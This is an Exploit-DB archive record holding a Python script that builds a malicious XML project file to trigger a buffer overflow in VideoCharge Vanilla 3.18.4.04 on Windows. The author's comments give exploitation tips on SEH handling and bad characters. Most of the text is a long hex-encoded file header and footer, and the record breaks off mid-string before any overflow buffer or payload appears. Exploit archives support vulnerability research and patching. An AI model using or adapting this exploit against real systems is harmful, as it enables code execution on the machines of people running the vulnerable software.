{"id": "EDB-ID:36981", "hash": "cf1131a7ff8ab861ff3fa3558624097c", "type": "exploitdb", "bulletinFamily": "exploit", "title": "VideoCharge Professional + Express Vanilla 3.18.4.04 - BOF Exploit", "description": "VideoCharge Professional + Express Vanilla 3.18.4.04 - BOF Exploit. Local exploit for windows platform", "published": "2015-05-11T00:00:00", "modified": "2015-05-11T00:00:00", "cvss": {"score": 0.0, "vector": "NONE"}, "href": "https://www.exploit-db.com/exploits/36981/", "reporter": "evil_comrade", "references": [], "cvelist": [], "lastseen": "2016-02-04T04:48:19", "history": [], "viewCount": 40, "enchantments": {"score": {"value": 7.2, "vector": "NONE"}, "vulnersScore": 7.2}, "objectVersion": "1.4", "sourceHref": "https://www.exploit-db.com/download/36981/", "sourceData": "#!/usr/bin/python\r\n# Exploit Title: VideoCharge Vanilla BOF Exploit v3.18.4.04\r\n# Date: 10/May/2015\r\n# Author: @evil_comrade IRC freenode: #vulnhub or #offsec or #corelan\r\n# email: kwiha2003 [at] yahoo [dot] com=20\r\n# Version: v3.18.4.04\r\n# Tested on: Win XP3\r\n# Software link:http://www.softpedia.com/get/Multimedia/Video/Encoders-Conv=\r\nerter-DIVX-Related/Videocharge-Full.shtml\r\n# Greetz: b33f,corelan,offsec,vulnhub,HUST510, packetstorm\r\n#\r\n# Notes: Copy the file created by the script into the videocharge folder\r\n# All third party modules are SAFESEH'ed\r\n# A bigger buffer of > 1000 & <3000 A's will also crash the program =\r\nbut you'd have to\r\n# use the SEH route which will make for a good exercise since the pr=\r\nogram only\r\n# ascii printable x-ters and 5c (retn) is a bad x-ter (no push[reg]+=\r\nret, jmp[reg] or call[reg] )\r\n#\r\nimport struct\r\nheader =3D (\r\n\"\\x3c\\x3f\\x78\\x6d\\x6c\\x20\\x76\\x65\\x72\\x73\\x69\\x6f\\x6e\\x3d\\x22\\x31\"\r\n\"\\x2e\\x30\\x22\\x20\\x65\\x6e\\x63\\x6f\\x64\\x69\\x6e\\x67\\x3d\\x22\\x57\\x69\"\r\n\"\\x6e\\x64\\x6f\\x77\\x73\\x2d\\x31\\x32\\x35\\x31\\x22\\x20\\x3f\\x3e\\x3c\\x4d\"\r\n\"\\x61\\x69\\x6e\\x3e\\x0d\\x0a\\x3c\\x56\\x45\\x52\\x53\\x49\\x4f\\x4e\\x20\\x63\"\r\n\"\\x75\\x72\\x76\\x65\\x72\\x3d\\x22\\x33\\x2e\\x31\\x36\\x2e\\x34\\x2e\\x30\\x36\"\r\n\"\\x22\\x2f\\x3e\\x3c\\x46\\x49\\x4c\\x45\\x53\\x3e\\x0d\\x0a\\x3c\\x50\\x61\\x74\"\r\n\"\\x68\\x54\\x6f\\x4d\\x65\\x64\\x69\\x61\\x46\\x69\\x6c\\x65\\x20\\x76\\x61\\x6c\"\r\n\"\\x75\\x65\\x3d\\x27\\x43\\x3a\\x5c\\x50\\x65\\x61\\x63\\x68\\x5c\\x73\\x61\\x6d\"\r\n\"\\x70\\x6c\\x65\\x5f\\x6d\\x70\\x34\\x27\\x20\\x74\\x79\\x70\\x65\\x3d\\x27\\x38\"\r\n\"\\x27\\x3e\\x0d\\x0a\\x3c\\x54\\x69\\x6d\\x65\\x6c\\x69\\x6e\\x65\\x73\\x20\\x76\"\r\n\"\\x61\\x6c\\x75\\x65\\x3d\\x27\\x30\\x27\\x20\\x74\\x79\\x70\\x65\\x3d\\x27\\x33\"\r\n\"\\x27\\x3e\\x0d\\x0a\\x3c\\x2f\\x54\\x69\\x6d\\x65\\x6c\\x69\\x6e\\x65\\x73\\x3e\"\r\n\"\\x0d\\x0a\\x3c\\x43\\x75\\x73\\x74\\x6f\\x6d\\x54\\x68\\x75\\x6d\\x62\\x6e\\x61\"\r\n\"\\x69\\x6c\\x73\\x20\\x65\\x6e\\x75\\x6d\\x3d\\x20\\x22\\x54\\x52\\x55\\x45\\x22\"\r\n\"\\x3e\\x0d\\x0a\\x3c\\x2f\\x43\\x75\\x73\\x74\\x6f\\x6d\\x54\\x68\\x75\\x6d\\x62\"\r\n\"\\x6e\\x61\\x69\\x6c\\x73\\x3e\\x0d\\x0a\\x3c\\x49\\x44\\x58\\x20\\x76\\x61\\x6c\"\r\n\"\\x75\\x65\\x3d\\x27\"\r\n)\r\nfooter =3D (\r\n\"\\x27\\x20\\x74\\x79\\x70\\x65\\x3d\\x27\\x38\\x27\\x3e\\x0d\\x0a\\x3c\\x2f\\x49\"\r\n\"\\x44\\x58\\x3e\\x0d\\x0a\\x3c\\x43\\x75\\x73\\x74\\x6f\\x6d\\x50\\x61\\x74\\x74\"\r\n\"\\x65\\x72\\x6e\\x4e\\x61\\x6d\\x65\\x20\\x76\\x61\\x6c\\x75\\x65\\x3d\\x27\\x27\"\r\n\"\\x20\\x74\\x79\\x70\\x65\\x3d\\x27\\x38\\x27\\x3e\\x0d\\x0a\\x3c\\x46\\x4f\\x52\"\r\n\"\\x4d\\x41\\x54\\x5f\\x69\\x20\\x76\\x61\\x6c\\x75\\x65\\x3d\\x27\\x25\\x30\\x32\"\r\n\"\\x64\\x27\\x20\\x74\\x79\\x70\\x65\\x3d\\x27\\x38\\x27\\x3e\\x0d\\x0a\\x3c\\x2f\"\r\n\"\\x46\\x4f\\x52\\x4d\\x41\\x54\\x5f\\x69\\x3e\\x0d\\x0a\\x3c\\x46\\x4f\\x52\\x4d\"\r\n\"\\x41\\x54\\x5f\\x74\\x20\\x76\\x61\\x6c\\x75\\x65\\x3d\\x27\\x25\\x30\\x32\\x64\"\r\n\"\\x27\\x20\\x74\\x79\\x70\\x65\\x3d\\x27\\x38\\x27\\x3e\\x0d\\x0a\\x3c\\x2f\\x46\"\r\n\"\\x4f\\x52\\x4d\\x41\\x54\\x5f\\x74\\x3e\\x0d\\x0a\\x3c\\x46\\x4f\\x52\\x4d\\x41\"\r\n\"\\x54\\x5f\\x66\\x20\\x76\\x61\\x6c\\x75\\x65\\x3d\\x27\\x25\\x30\\x32\\x64\\x27\"\r\n\"\\x20\\x74\\x79\\x70\\x65\\x3d\\x27\\x38\\x27\\x3e\\x0d\\x0a\\x3c\\x2f\\x46\\x4f\"\r\n\"\\x52\\x4d\\x41\\x54\\x5f\\x66\\x3e\\x0d\\x0a\\x3c\\x46\\x4f\\x52\\x4d\\x41\\x54\"\r\n\"\\x5f\\x78\\x20\\x76\\x61\\x6c\\x75\\x65\\x3d\\x27\\x25\\x30\\x32\\x64\\x27\\x20\"\r\n\"\\x74\\x79\\x70\\x65\\x3d\\x27\\x38\\x27\\x3e\\x0d\\x0a\\x3c\\x2f\\x46\\x4f\\x52\"\r\n\"\\x4d\\x41\\x54\\x5f\\x78\\x3e\\x0d\\x0a\\x3c\\x46\\x4f\\x52\\x4d\\x41\\x54\\x5f\"\r\n\"\\x79\\x20\\x76\\x61\\x6c\\x75\\x65\\x3d\\x27\\x25\\x30\\x32\\x64\\x27\\x20\\x74\"\r\n\"\\x79\\x70\\x65\\x3d\\x27\\x38\\x27\\x3e\\x0d\\x0a\\x3c\\x2f\\x46\\x4f\\x52\\x4d\"\r\n\"\\x41\\x54\\x5f\\x79\\x3e\\x0d\\x0a\\x3c\\x46\\x4f\\x52\\x4d\\x41\\x54\\x5f\\x72\"\r\n\"\\x20\\x76\\x61\\x6c\\x75\\x65\\x3d\\x27\\x25\\x30\\x32\\x64\\x27\\x20\\x74\\x79\"\r\n\"\\x70\\x65\\x3d\\x27\\x38\\x27\\x3e\\x0d\\x0a\\x3c\\x2f\\x46\\x4f\\x52\\x4d\\x41\"\r\n\"\\x54\\x5f\\x72\\x3e\\x0d\\x0a\\x3c\\x46\\x4f\\x52\\x4d\\x41\\x54\\x5f\\x67\\x20\"\r\n\"\\x76\\x61\\x6c\\x75\\x65\\x3d\\x27\\x25\\x30\\x32\\x64\\x27\\x20\\x74\\x79\\x70\"\r\n\"\\x65\\x3d\\x27\\x38\\x27\\x3e\\x0d\\x0a\\x3c\\x2f\\x46\\x4f\\x52\\x4d\\x41\\x54\"\r\n\"\\x5f\\x67\\x3e\\x0d\\x0a\\x3c\\x46\\x4f\\x52\\x4d\\x41\\x54\\x5f\\x63\\x20\\x76\"\r\n\"\\x61\\x6c\\x75\\x65\\x3d\\x27\\x25\\x30\\x32\\x64\\x27\\x20\\x74\\x79\\x70\\x65\"\r\n\"\\x3d\\x27\\x38\\x27\\x3e\\x0d\\x0a\\x3c\\x2f\\x46\\x4f\\x52\\x4d\\x41\\x54\\x5f\"\r\n\"\\x63\\x3e\\x0d\\x0a\\x3c\\x52\\x61\\x6e\\x67\\x65\\x5f\\x63\\x20\\x76\\x61\\x6c\"\r\n\"\\x75\\x65\\x3d\\x27\\x32\\x27\\x20\\x74\\x79\\x70\\x65\\x3d\\x27\\x33\\x27\\x3e\"\r\n\"\\x0d\\x0a\\x3c\\x2f\\x52\\x61\\x6e\\x67\\x65\\x5f\\x63\\x3e\\x0d\\x0a\\x3c\\x2f\"\r\n\"\\x43\\x75\\x73\\x74\\x6f\\x6d\\x50\\x61\\x74\\x74\\x65\\x72\\x6e\\x4e\\x61\\x6d\"\r\n\"\\x65\\x3e\\x0d\\x0a\\x3c\\x43\\x75\\x73\\x74\\x6f\\x6d\\x46\\x6f\\x6c\\x64\\x65\"\r\n\"\\x72\\x20\\x76\\x61\\x6c\\x75\\x65\\x3d\\x27\\x27\\x20\\x74\\x79\\x70\\x65\\x3d\"\r\n\"\\x27\\x38\\x27\\x3e\\x0d\\x0a\\x3c\\x2f\\x43\\x75\\x73\\x74\\x6f\\x6d\\x46\\x6f\"\r\n\"\\x6c\\x64\\x65\\x72\\x3e\\x0d\\x0a\\x3c\\x53\\x6b\\x69\\x70\\x52\\x61\\x6e\\x67\"\r\n\"\\x65\\x45\\x6e\\x75\\x6d\\x20\\x65\\x6e\\x75\\x6d\\x3d\\x20\\x22\\x54\\x52\\x55\"\r\n\"\\x45\\x22\\x3e\\x0d\\x0a\\x3c\\x2f\\x53\\x6b\\x69\\x70\\x52\\x61\\x6e\\x67\\x65\"\r\n\"\\x45\\x6e\\x75\\x6d\\x3e\\x0d\\x0a\\x3c\\x53\\x70\\x6c\\x69\\x74\\x49\\x74\\x65\"\r\n\"\\x6d\\x45\\x6e\\x75\\x6d\\x20\\x65\\x6e\\x75\\x6d\\x3d\\x20\\x22\\x54\\x52\\x55\"\r\n\"\\x45\\x22\\x3e\\x0d\\x0a\\x3c\\x2f\\x53\\x70\\x6c\\x69\\x74\\x49\\x74\\x65\\x6d\"\r\n\"\\x45\\x6e\\x75\\x6d\\x3e\\x0d\\x0a\\x3c\\x41\\x75\\x64\\x69\\x6f\\x53\\x74\\x72\"\r\n\"\\x65\\x61\\x6d\\x20\\x76\\x61\\x6c\\x75\\x65\\x3d\\x27\\x30\\x27\\x20\\x74\\x79\"\r\n\"\\x70\\x65\\x3d\\x27\\x33\\x27\\x3e\\x0d\\x0a\\x3c\\x2f\\x41\\x75\\x64\\x69\\x6f\"\r\n\"\\x53\\x74\\x72\\x65\\x61\\x6d\\x3e\\x0d\\x0a\\x3c\\x49\\x6e\\x63\\x6c\\x75\\x64\"\r\n\"\\x65\\x43\\x68\\x61\\x70\\x74\\x65\\x72\\x20\\x76\\x61\\x6c\\x75\\x65\\x3d\\x27\"\r\n\"\\x31\\x27\\x20\\x74\\x79\\x70\\x65\\x3d\\x27\\x33\\x27\\x3e\\x0d\\x0a\\x3c\\x2f\"\r\n\"\\x49\\x6e\\x63\\x6c\\x75\\x64\\x65\\x43\\x68\\x61\\x70\\x74\\x65\\x72\\x3e\\x0d\"\r\n\"\\x0a\\x3c\\x55\\x73\\x65\\x53\\x75\\x62\\x46\\x6f\\x6c\\x64\\x65\\x72\\x73\\x20\"\r\n\"\\x76\\x61\\x6c\\x75\\x65\\x3d\\x27\\x31\\x27\\x20\\x74\\x79\\x70\\x65\\x3d\\x27\"\r\n\"\\x33\\x27\\x3e\\x0d\\x0a\\x3c\\x2f\\x55\\x73\\x65\\x53\\x75\\x62\\x46\\x6f\\x6c\"\r\n\"\\x64\\x65\\x72\\x73\\x3e\\x0d\\x0a\\x3c\\x2f\\x50\\x61\\x74\\x68\\x54\\x6f\\x4d\"\r\n\"\\x65\\x64\\x69\\x61\\x46\\x69\\x6c\\x65\\x3e\\x0d\\x0a\\x3c\\x2f\\x46\\x49\\x4c\"\r\n\"\\x45\\x53\\x3e\\x0d\\x0a\\x3c\\x43\\x6f\\x6d\\x6d\\x6f\\x6e\\x3e\\x0d\\x0a\\x3c\"\r\n\"\\x4f\\x75\\x74\\x70\\x75\\x74\\x3e\\x0d\\x0a\\x3c\\x4d\\x6f\\x64\\x65\\x20\\x76\"\r\n\"\\x61\\x6c\\x75\\x65\\x3d\\x27\\x31\\x27\\x20\\x74\\x79\\x70\\x65\\x3d\\x27\\x33\"\r\n\"\\x27\\x3e\\x0d\\x0a\\x3c\\x2f\\x4d\\x6f\\x64\\x65\\x3e\\x0d\\x0a\\x3c\\x4f\\x75\"\r\n\"\\x74\\x70\\x75\\x74\\x4d\\x65\\x64\\x69\\x61\\x4e\\x61\\x6d\\x65\\x20\\x76\\x61\"\r\n\"\\x6c\\x75\\x65\\x3d\\x27\\x27\\x20\\x74\\x79\\x70\\x65\\x3d\\x27\\x38\\x27\\x3e\"\r\n\"\\x0d\\x0a\\x3c\\x2f\\x4f\\x75\\x74\\x70\\x75\\x74\\x4d\\x65\\x64\\x69\\x61\\x4e\"\r\n\"\\x61\\x6d\\x65\\x3e\\x0d\\x0a\\x3c\\x44\\x65\\x73\\x74\\x69\\x6e\\x61\\x74\\x69\"\r\n\"\\x6f\\x6e\\x50\\x61\\x74\\x68\\x20\\x76\\x61\\x6c\\x75\\x65\\x3d\\x27\\x27\\x20\"\r\n\"\\x74\\x79\\x70\\x65\\x3d\\x27\\x38\\x27\\x3e\\x0d\\x0a\\x3c\\x2f\\x44\\x65\\x73\"\r\n\"\\x74\\x69\\x6e\\x61\\x74\\x69\\x6f\\x6e\\x50\\x61\\x74\\x68\\x3e\\x0d\\x0a\\x3c\"\r\n\"\\x46\\x69\\x6c\\x65\\x4e\\x61\\x6d\\x65\\x50\\x61\\x74\\x74\\x65\\x72\\x6e\\x20\"\r\n\"\\x76\\x61\\x6c\\x75\\x65\\x3d\\x27\\x25\\x73\\x5f\\x63\\x6f\\x70\\x79\\x27\\x20\"\r\n\"\\x74\\x79\\x70\\x65\\x3d\\x27\\x38\\x27\\x3e\\x0d\\x0a\\x3c\\x46\\x4f\\x52\\x4d\"\r\n\"\\x41\\x54\\x5f\\x69\\x20\\x76\\x61\\x6c\\x75\\x65\\x3d\\x27\\x25\\x30\\x32\\x64\"\r\n\"\\x27\\x20\\x74\\x79\\x70\\x65\\x3d\\x27\\x38\\x27\\x3e\\x0d\\x0a\\x3c\\x2f\\x46\"\r\n\"\\x4f\\x52\\x4d\\x41\\x54\\x5f\\x69\\x3e\\x0d\\x0a\\x3c\\x46\\x4f\\x52\\x4d\\x41\"\r\n\"\\x54\\x5f\\x74\\x20\\x76\\x61\\x6c\\x75\\x65\\x3d\\x27\\x25\\x30\\x32\\x64\\x27\"\r\n\"\\x20\\x74\\x79\\x70\\x65\\x3d\\x27\\x38\\x27\\x3e\\x0d\\x0a\\x3c\\x2f\\x46\\x4f\"\r\n\"\\x52\\x4d\\x41\\x54\\x5f\\x74\\x3e\\x0d\\x0a\\x3c\\x46\\x4f\\x52\\x4d\\x41\\x54\"\r\n\"\\x5f\\x66\\x20\\x76\\x61\\x6c\\x75\\x65\\x3d\\x27\\x25\\x30\\x32\\x64\\x27\\x20\"\r\n\"\\x74\\x79\\x70\\x65\\x3d\\x27\\x38\\x27\\x3e\\x0d\\x0a\\x3c\\x2f\\x46\\x4f\\x52\"\r\n\"\\x4d\\x41\\x54\\x5f\\x66\\x3e\\x0d\\x0a\\x3c\\x46\\x4f\\x52\\x4d\\x41\\x54\\x5f\"\r\n\"\\x78\\x20\\x76\\x61\\x6c\\x75\\x65\\x3d\\x27\\x25\\x30\\x32\\x64\\x27\\x20\\x74\"\r\n\"\\x79\\x70\\x65\\x3d\\x27\\x38\\x27\\x3e\\x0d\\x0a\\x3c\\x2f\\x46\\x4f\\x52\\x4d\"\r\n\"\\x41\\x54\\x5f\\x78\\x3e\\x0d\\x0a\\x3c\\x46\\x4f\\x52\\x4d\\x41\\x54\\x5f\\x79\"\r\n\"\\x20\\x76\\x61\\x6c\\x75\\x65\\x3d\\x27\\x25\\x30\\x32\\x64\\x27\\x20\\x74\\x79\"\r\n\"\\x70\\x65\\x3d\\x27\\x38\\x27\\x3e\\x0d\\x0a\\x3c\\x2f\\x46\\x4f\\x52\\x4d\\x41\"\r\n\"\\x54\\x5f\\x79\\x3e\\x0d\\x0a\\x3c\\x46\\x4f\\x52\\x4d\\x41\\x54\\x5f\\x72\\x20\"\r\n\"\\x76\\x61\\x6c\\x75\\x65\\x3d\\x27\\x25\\x30\\x32\\x64\\x27\\x20\\x74\\x79\\x70\"\r\n\"\\x65\\x3d\\x27\\x38\\x27\\x3e\\x0d\\x0a\\x3c\\x2f\\x46\\x4f\\x52\\x4d\\x41\\x54\"\r\n\"\\x5f\\x72\\x3e\\x0d\\x0a\\x3c\\x46\\x4f\\x52\\x4d\\x41\\x54\\x5f\\x67\\x20\\x76\"\r\n\"\\x61\\x6c\\x75\\x65\\x3d\\x27\\x25\\x30\\x32\\x64\\x27\\x20\\x74\\x79\\x70\\x65\"\r\n\"\\x3d\\x27\\x38\\x27\\x3e\\x0d\\x0a\\x3c\\x2f\\x46\\x4f\\x52\\x4d\\x41\\x54\\x5f\"\r\n\"\\x67\\x3e\\x0d\\x0a\\x3c\\x46\\x4f\\x52\\x4d\\x41\\x54\\x5f\\x63\\x20\\x76\\x61\"\r\n\"\\x6c\\x75\\x65\\x3d\\x27\\x25\\x30\\x32\\x64\\x27\\x20\\x74\\x79\\x70\\x65\\x3d\"\r\n\"\\x27\\x38\\x27\\x3e\\x0d\\x0a\\x3c\\x2f\\x46\\x4f\\x52\\x4d\\x41\\x54\\x5f\\x63\"\r\n\"\\x3e\\x0d\\x0a\\x3c\\x52\\x61\\x6e\\x67\\x65\\x5f\\x63\\x20\\x76\\x61\\x6c\\x75\"\r\n\"\\x65\\x3d\\x27\\x32\\x27\\x20\\x74\\x79\\x70\\x65\\x3d\\x27\\x33\\x27\\x3e\\x0d\"\r\n\"\\x0a\\x3c\\x2f\\x52\\x61\\x6e\\x67\\x65\\x5f\\x63\\x3e\\x0d\\x0a\\x3c\\x2f\\x46\"\r\n\"\\x69\\x6c\\x65\\x4e\\x61\\x6d\\x65\\x50\\x61\\x74\\x74\\x65\\x72\\x6e\\x3e\\x0d\"\r\n\"\\x0a\\x3c\\x49\\x73\\x53\\x70\\x6c\\x69\\x74\\x20\\x76\\x61\\x6c\\x75\\x65\\x3d\"\r\n\"\\x27\\x30\\x27\\x20\\x74\\x79\\x70\\x65\\x3d\\x27\\x33\\x27\\x3e\\x0d\\x0a\\x3c\"\r\n\"\\x53\\x70\\x6c\\x69\\x74\\x54\\x79\\x70\\x65\\x20\\x76\\x61\\x6c\\x75\\x65\\x3d\"\r\n\"\\x27\\x30\\x27\\x20\\x74\\x79\\x70\\x65\\x3d\\x27\\x33\\x27\\x3e\\x0d\\x0a\\x3c\"\r\n\"\\x2f\\x53\\x70\\x6c\\x69\\x74\\x54\\x79\\x70\\x65\\x3e\\x0d\\x0a\\x3c\\x53\\x70\"\r\n\"\\x6c\\x69\\x74\\x4c\\x65\\x6e\\x67\\x74\\x68\\x20\\x76\\x61\\x6c\\x75\\x65\\x3d\"\r\n\"\\x27\\x31\\x30\\x27\\x20\\x74\\x79\\x70\\x65\\x3d\\x27\\x33\\x27\\x20\\x65\\x78\"\r\n\"\\x74\\x3d\\x27\\x31\\x27\\x20\\x65\\x78\\x74\\x54\\x79\\x70\\x65\\x3d\\x27\\x33\"\r\n\"\\x27\\x3e\\x0d\\x0a\\x3c\\x2f\\x53\\x70\\x6c\\x69\\x74\\x4c\\x65\\x6e\\x67\\x74\"\r\n\"\\x68\\x3e\\x0d\\x0a\\x3c\\x53\\x70\\x6c\\x69\\x74\\x42\\x79\\x53\\x69\\x7a\\x65\"\r\n\"\\x4d\\x6f\\x64\\x65\\x20\\x76\\x61\\x6c\\x75\\x65\\x3d\\x27\\x30\\x27\\x20\\x74\"\r\n\"\\x79\\x70\\x65\\x3d\\x27\\x33\\x27\\x3e\\x0d\\x0a\\x3c\\x2f\\x53\\x70\\x6c\\x69\"\r\n\"\\x74\\x42\\x79\\x53\\x69\\x7a\\x65\\x4d\\x6f\\x64\\x65\\x3e\\x0d\\x0a\\x3c\\x53\"\r\n\"\\x70\\x6c\\x69\\x74\\x43\\x6f\\x75\\x6e\\x74\\x50\\x61\\x72\\x74\\x73\\x20\\x76\"\r\n\"\\x61\\x6c\\x75\\x65\\x3d\\x27\\x32\\x27\\x20\\x74\\x79\\x70\\x65\\x3d\\x27\\x33\"\r\n\"\\x27\\x3e\\x0d\\x0a\\x3c\\x2f\\x53\\x70\\x6c\\x69\\x74\\x43\\x6f\\x75\\x6e\\x74\"\r\n\"\\x50\\x61\\x72\\x74\\x73\\x3e\\x0d\\x0a\\x3c\\x53\\x70\\x6c\\x69\\x74\\x4d\\x61\"\r\n\"\\x78\\x53\\x69\\x7a\\x65\\x20\\x76\\x61\\x6c\\x75\\x65\\x3d\\x27\\x36\\x30\\x30\"\r\n\"\\x27\\x20\\x74\\x79\\x70\\x65\\x3d\\x27\\x33\\x27\\x20\\x65\\x78\\x74\\x3d\\x27\"\r\n\"\\x31\\x27\\x20\\x65\\x78\\x74\\x54\\x79\\x70\\x65\\x3d\\x27\\x33\\x27\\x3e\\x0d\"\r\n\"\\x0a\\x3c\\x2f\\x53\\x70\\x6c\\x69\\x74\\x4d\\x61\\x78\\x53\\x69\\x7a\\x65\\x3e\"\r\n\"\\x0d\\x0a\\x3c\\x45\\x78\\x61\\x63\\x74\\x6c\\x79\\x20\\x76\\x61\\x6c\\x75\\x65\"\r\n\"\\x3d\\x27\\x30\\x27\\x20\\x74\\x79\\x70\\x65\\x3d\\x27\\x33\\x27\\x3e\\x0d\\x0a\"\r\n\"\\x3c\\x2f\\x45\\x78\\x61\\x63\\x74\\x6c\\x79\\x3e\\x0d\\x0a\\x3c\\x2f\\x49\\x73\"\r\n\"\\x53\\x70\\x6c\\x69\\x74\\x3e\\x0d\\x0a\\x3c\\x4a\\x6f\\x69\\x6e\\x53\\x75\\x62\"\r\n\"\\x54\\x69\\x6d\\x65\\x4c\\x69\\x6e\\x65\\x20\\x76\\x61\\x6c\\x75\\x65\\x3d\\x27\"\r\n\"\\x30\\x27\\x20\\x74\\x79\\x70\\x65\\x3d\\x27\\x33\\x27\\x3e\\x0d\\x0a\\x3c\\x2f\"\r\n\"\\x4a\\x6f\\x69\\x6e\\x53\\x75\\x62\\x54\\x69\\x6d\\x65\\x4c\\x69\\x6e\\x65\\x3e\"\r\n\"\\x0d\\x0a\\x3c\\x4f\\x76\\x65\\x72\\x77\\x72\\x69\\x74\\x65\\x20\\x76\\x61\\x6c\"\r\n\"\\x75\\x65\\x3d\\x27\\x31\\x27\\x20\\x74\\x79\\x70\\x65\\x3d\\x27\\x33\\x27\\x3e\"\r\n\"\\x0d\\x0a\\x3c\\x2f\\x4f\\x76\\x65\\x72\\x77\\x72\\x69\\x74\\x65\\x3e\\x0d\\x0a\"\r\n\"\\x3c\\x54\\x68\\x75\\x6d\\x62\\x4f\\x6e\\x6c\\x79\\x20\\x76\\x61\\x6c\\x75\\x65\"\r\n\"\\x3d\\x27\\x30\\x27\\x20\\x74\\x79\\x70\\x65\\x3d\\x27\\x33\\x27\\x3e\\x0d\\x0a\"\r\n\"\\x3c\\x2f\\x54\\x68\\x75\\x6d\\x62\\x4f\\x6e\\x6c\\x79\\x3e\\x0d\\x0a\\x3c\\x2f\"\r\n\"\\x4f\\x75\\x74\\x70\\x75\\x74\\x3e\\x0d\\x0a\\x3c\\x41\\x63\\x74\\x69\\x6f\\x6e\"\r\n\"\\x3e\\x0d\\x0a\\x3c\\x54\\x77\\x65\\x6e\\x74\\x79\\x46\\x69\\x76\\x65\\x46\\x72\"\r\n\"\\x61\\x6d\\x65\\x20\\x76\\x61\\x6c\\x75\\x65\\x3d\\x27\\x30\\x27\\x20\\x74\\x79\"\r\n\"\\x70\\x65\\x3d\\x27\\x33\\x27\\x3e\\x0d\\x0a\\x3c\\x41\\x63\\x74\\x69\\x6f\\x6e\"\r\n\"\\x52\\x6f\\x6f\\x74\\x5f\\x54\\x77\\x65\\x6e\\x74\\x79\\x46\\x69\\x76\\x65\\x46\"\r\n\"\\x72\\x61\\x6d\\x65\\x3e\\x0d\\x0a\\x3c\\x54\\x77\\x65\\x6e\\x74\\x79\\x46\\x69\"\r\n\"\\x76\\x65\\x46\\x72\\x61\\x6d\\x65\\x41\\x63\\x74\\x69\\x6f\\x6e\\x49\\x6e\\x73\"\r\n\"\\x65\\x72\\x74\\x45\\x76\\x65\\x72\\x79\\x20\\x76\\x61\\x6c\\x75\\x65\\x3d\\x27\"\r\n\"\\x32\\x35\\x27\\x20\\x74\\x79\\x70\\x65\\x3d\\x27\\x33\\x27\\x3e\\x0d\\x0a\\x3c\"\r\n\"\\x2f\\x54\\x77\\x65\\x6e\\x74\\x79\\x46\\x69\\x76\\x65\\x46\\x72\\x61\\x6d\\x65\"\r\n\"\\x41\\x63\\x74\\x69\\x6f\\x6e\\x49\\x6e\\x73\\x65\\x72\\x74\\x45\\x76\\x65\\x72\"\r\n\"\\x79\\x3e\\x0d\\x0a\\x3c\\x54\\x77\\x65\\x6e\\x74\\x79\\x46\\x69\\x76\\x65\\x46\"\r\n\"\\x72\\x61\\x6d\\x65\\x45\\x6e\\x75\\x6d\\x3e\\x0d\\x0a\\x3c\\x2f\\x54\\x77\\x65\"\r\n\"\\x6e\\x74\\x79\\x46\\x69\\x76\\x65\\x46\\x72\\x61\\x6d\\x65\\x45\\x6e\\x75\\x6d\"\r\n\"\\x3e\\x0d\\x0a\\x3c\\x2f\\x41\\x63\\x74\\x69\\x6f\\x6e\\x52\\x6f\\x6f\\x74\\x5f\"\r\n\"\\x54\\x77\\x65\\x6e\\x74\\x79\\x46\\x69\\x76\\x65\\x46\\x72\\x61\\x6d\\x65\\x3e\"\r\n\"\\x0d\\x0a\\x3c\\x2f\\x54\\x77\\x65\\x6e\\x74\\x79\\x46\\x69\\x76\\x65\\x46\\x72\"\r\n\"\\x61\\x6d\\x65\\x3e\\x0d\\x0a\\x3c\\x54\\x68\\x75\\x6d\\x62\\x6e\\x61\\x69\\x6c\"\r\n\"\\x73\\x20\\x76\\x61\\x6c\\x75\\x65\\x3d\\x27\\x30\\x27\\x20\\x74\\x79\\x70\\x65\"\r\n\"\\x3d\\x27\\x33\\x27\\x3e\\x0d\\x0a\\x3c\\x54\\x68\\x75\\x6d\\x62\\x6e\\x61\\x69\"\r\n\"\\x6c\\x45\\x6e\\x75\\x6d\\x3e\\x0d\\x0a\\x3c\\x2f\\x54\\x68\\x75\\x6d\\x62\\x6e\"\r\n\"\\x61\\x69\\x6c\\x45\\x6e\\x75\\x6d\\x3e\\x0d\\x0a\\x3c\\x2f\\x54\\x68\\x75\\x6d\"\r\n\"\\x62\\x6e\\x61\\x69\\x6c\\x73\\x3e\\x0d\\x0a\\x3c\\x2f\\x41\\x63\\x74\\x69\\x6f\"\r\n\"\\x6e\\x3e\\x0d\\x0a\\x3c\\x2f\\x43\\x6f\\x6d\\x6d\\x6f\\x6e\\x3e\\x0d\\x0a\\x3c\"\r\n\"\\x4f\\x75\\x74\\x70\\x75\\x74\\x46\\x69\\x6c\\x65\\x46\\x6f\\x72\\x6d\\x61\\x74\"\r\n\"\\x20\\x76\\x61\\x6c\\x75\\x65\\x3d\\x27\\x7b\\x31\\x41\\x44\\x43\\x33\\x33\\x42\"\r\n\"\\x39\\x2d\\x35\\x39\\x36\\x44\\x2d\\x34\\x33\\x30\\x43\\x2d\\x42\\x35\\x39\\x41\"\r\n\"\\x2d\\x36\\x44\\x37\\x37\\x41\\x42\\x43\\x42\\x35\\x46\\x44\\x39\\x7d\\x27\\x20\"\r\n\"\\x74\\x79\\x70\\x65\\x3d\\x27\\x37\\x32\\x27\\x3e\\x0d\\x0a\\x3c\\x47\\x49\\x46\"\r\n\"\\x41\\x3e\\x0d\\x0a\\x3c\\x4d\\x61\\x69\\x6e\\x3e\\x0d\\x0a\\x3c\\x50\\x61\\x6c\"\r\n\"\\x65\\x74\\x74\\x65\\x44\\x65\\x73\\x63\\x3e\\x0d\\x0a\\x3c\\x43\\x6f\\x6c\\x6f\"\r\n\"\\x72\\x73\\x20\\x76\\x61\\x6c\\x75\\x65\\x3d\\x27\\x38\\x27\\x20\\x74\\x79\\x70\"\r\n\"\\x65\\x3d\\x27\\x33\\x27\\x3e\\x0d\\x0a\\x3c\\x2f\\x43\\x6f\\x6c\\x6f\\x72\\x73\"\r\n\"\\x3e\\x0d\\x0a\\x3c\\x43\\x6f\\x6c\\x6f\\x72\\x4d\\x61\\x70\\x20\\x76\\x61\\x6c\"\r\n\"\\x75\\x65\\x3d\\x27\\x31\\x27\\x20\\x74\\x79\\x70\\x65\\x3d\\x27\\x33\\x27\\x3e\"\r\n\"\\x0d\\x0a\\x3c\\x2f\\x43\\x6f\\x6c\\x6f\\x72\\x4d\\x61\\x70\\x3e\\x0d\\x0a\\x3c\"\r\n\"\\x2f\\x50\\x61\\x6c\\x65\\x74\\x74\\x65\\x44\\x65\\x73\\x63\\x3e\\x0d\\x0a\\x3c\"\r\n\"\\x41\\x6e\\x69\\x6d\\x61\\x74\\x69\\x6f\\x6e\\x3e\\x0d\\x0a\\x3c\\x46\\x72\\x61\